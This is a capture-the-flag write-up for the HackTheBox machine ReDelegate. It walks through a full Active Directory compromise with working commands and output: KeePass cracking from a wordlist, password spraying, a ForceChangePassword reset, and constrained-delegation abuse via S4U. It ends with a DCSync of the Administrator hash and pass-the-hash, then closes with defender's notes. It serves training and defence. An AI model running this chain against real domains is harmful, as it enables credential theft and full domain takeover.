← back to writeups
HackTheBox

HackTheBox: ReDelegate

ReDelegate is an Active Directory box whose finale is the technique in its name: constrained delegation with protocol transition. Getting there runs through anonymous FTP, a KeePass database cracked with a wordlist we build from a training-document hint, a credential that sprays into MSSQL and then AD, and a ForceChangePassword ACL. The key that unlocks the domain is a single privilege on one user: SeEnableDelegationPrivilege.

Attack chain at a glance

  • Recon — anonymous FTP, MSSQL 2019, and a full DC port set on redelegate.vl.
  • Loot — FTP holds a Shared.kdbx KeePass DB and a training doc hinting the password scheme is SeasonYear!.
  • Crack — a seasonal wordlist cracks the KeePass master password (Fall2024!); its entries become a spray list.
  • Foothold — one secret logs into MSSQL (local auth); login enumeration + spraying lands domain user Marie.Curie.
  • User — Marie.Curie has ForceChangePassword over helen.frost; reset it, WinRM in, user flag.
  • Root — helen.frost holds SeEnableDelegationPrivilege and GenericAll over computer FS01$; configure constrained delegation with protocol transition, S4U-impersonate the DC, DCSync the Administrator hash, pass-the-hash in.

Reconnaissance

ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.11.197 | grep ^[0-9] | cut -d / -f1 | paste -sd,)
nmap -Pn -p$ports -sC -sV 10.129.11.197

21/tcp   ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|   CyberAudit.txt   Shared.kdbx   TrainingAgenda.txt
88/tcp   kerberos-sec
389/tcp  ldap          Domain: redelegate.vl, dc.redelegate.vl
1433/tcp ms-sql-s      Microsoft SQL Server 2019
5985/tcp http          WinRM

Anonymous FTP and a password-policy hint

Anonymous FTP is open and holds three files. One is a KeePass database (encrypted secrets) and one is a staff training agenda — and the agenda is where the box practically tells you the password scheme:

ftp anonymous@10.129.11.197
ftp> binary          # IMPORTANT: .kdbx is binary; ASCII mode corrupts it
ftp> get Shared.kdbx
ftp> get TrainingAgenda.txt

$ cat TrainingAgenda.txt
... "Weak Passwords" - Why "SeasonYear!" is not a good password ...

“SeasonYear!” is a template. Expand it into the handful of recent season-year combinations — a tiny, targeted wordlist that beats rockyou here because the policy is so specific:

cat wordlist.txt
Spring2024!
Summer2024!
Autumn2024!
Fall2024!
Winter2024!

Cracking KeePass and harvesting secrets

Convert the database to a John-crackable hash and run the seasonal list against it — KeePass uses a deliberately slow KDF (600k iterations here), so a small, correct wordlist matters:

python keepass2john.py Shared.kdbx > Shared.hash
john --wordlist=wordlist.txt Shared.hash
Fall2024!   (Shared)
1g 0:00:00:00 DONE

Open the database in KeePassXC with Fall2024!. Each stored entry's password is another candidate credential — dump them all into the spray list alongside the seasonal ones:

The unlocked KeePass database open in KeePassXC
KeePassXC opened with the cracked master password — every entry is a credential to spray.
# wordlist.txt now also contains the KeePass entry passwords, e.g.
#   zDPBpaF4FywlqIv11vii, Spdv41gg4BlBgSYIW1gF, cn4KOEgsHqvKXPjEnSD9, ...

MSSQL foothold and user discovery

Spraying the secrets, only one authenticates — and it is a local SQL login, not a domain account:

netexec mssql 10.129.11.197 -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
MSSQL  10.129.11.197  1433  DC  [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii

A SQL login is not yet a Windows user, but the server will happily list its logins, which seeds an AD user list. Metasploit's mssql_enum_sql_logins does the enumeration (netexec was flaky here):

msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) > run
[+] 17 SQL Server logins were verified:
   ... SQLGuest, sa, WIN-...\Administrator, BUILTIN\Users, NT AUTHORITY\SYSTEM ...

Re-spraying the cracked passwords across the discovered/AD users lands a real domain account, which is enough to run BloodHound:

bloodhound-python -u Marie.Curie -p 'Fall2024!' -d redelegate.vl -ns 10.129.11.197 -c ALL --zip
BloodHound showing Marie.Curie's ForceChangePassword edge to helen.frost
BloodHound: Marie.Curie holds ForceChangePassword over helen.frost.

User flag — ForceChangePassword

ForceChangePassword lets you set a target's password without knowing the old one — a common and devastating ACL misconfiguration. Reset helen.frost, grab a Kerberos TGT for her, and WinRM in with the ticket:

bloodyAD -d redelegate.vl -u marie.curie -p Fall2024! --dc-ip 10.129.234.50 \
  set password helen.frost 'Password@1'
[+] Password changed successfully!

impacket-getTGT -k redelegate.vl/helen.frost:'Password@1'
KRB5CCNAME=helen.frost.ccache evil-winrm -r redelegate.vl -i dc.redelegate.vl
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> type user.txt

What makes helen.frost special is not the flag but her token:

whoami /priv
SeMachineAccountPrivilege     Add workstations to domain                                      Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation   Enabled
Enumerating helen.frost's delegation-related rights
Enumerating helen.frost's rights — SeEnableDelegationPrivilege plus control over a computer object.

Root — constrained delegation with protocol transition

BloodHound also shows helen.frost has GenericAll over the computer account FS01$. The plan: make FS01$ a constrained-delegation principal that is allowed to impersonate anyone to the DC's CIFS service, then use it to pull a privileged ticket. First take ownership of FS01$, reset its password (so we can authenticate as it), and set the protocol-transition flag:

bloodyAD ... set owner 'FS01$' helen.frost
bloodyAD ... set password 'FS01$' 'Password@1'
bloodyAD -d redelegate.vl -u helen.frost -p 'Password@1' --dc-ip 10.129.234.50 \
  add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
Two attributes do the work. TRUSTED_TO_AUTH_FOR_DELEGATION enables protocol transition (S4U2self): FS01$ can request a service ticket as any user without that user's password. msDS-AllowedToDelegateTo = cifs/dc.redelegate.vl then says it may forward that identity to the DC's CIFS service (S4U2proxy). Setting msDS-AllowedToDelegateTo is privileged — only allowed because helen.frost holds SeEnableDelegationPrivilege. That privilege is the whole box. cifs/ is just one SPN the DC auto-registers; ldap/ works too and some writeups use it. See Kerberos Delegation.
impacket-getTGT -k redelegate.vl/helen.frost:'Password@1'
export KRB5CCNAME=helen.frost.ccache
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
  set object FS01$ msDS-AllowedToDelegateTo -v cifs/dc.redelegate.vl
[+] FS01$'s msDS-AllowedToDelegateTo has been updated

Now authenticate as FS01$ and request a ticket to cifs/dc.redelegate.vl while impersonating the dc machine account (S4U2self then S4U2proxy):

impacket-getST -k -no-pass -spn cifs/dc.redelegate.vl -impersonate dc redelegate.vl/FS01$
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
Setting TRUSTED_TO_AUTH_FOR_DELEGATION on the FS01$ computer account
FS01$ flagged TRUSTED_TO_AUTH_FOR_DELEGATION — protocol transition enabled.

Holding a CIFS ticket to the DC as a machine account is enough to run the directory-replication (DCSync) protocol and pull the Administrator hash — then pass the hash straight into a WinRM shell:

export KRB5CCNAME=dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::

evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

Defender's notes

  • Disable anonymous FTP, and never leave credential stores (KeePass DBs, config) on open shares.
  • Ban scheme-based passwords like Season+Year! — they collapse the keyspace to a handful of guesses.
  • Grant SeEnableDelegationPrivilege to nobody but tightly controlled admins; it is what lets delegation be configured, and it gated this entire compromise.
  • Audit msDS-AllowedToDelegateTo and TRUSTED_TO_AUTH_FOR_DELEGATION; treat protocol-transition delegation to a DC service as critical (Delegation).
  • Review dangerous ACLs (ForceChangePassword, GenericAll over computers) continuously, not once.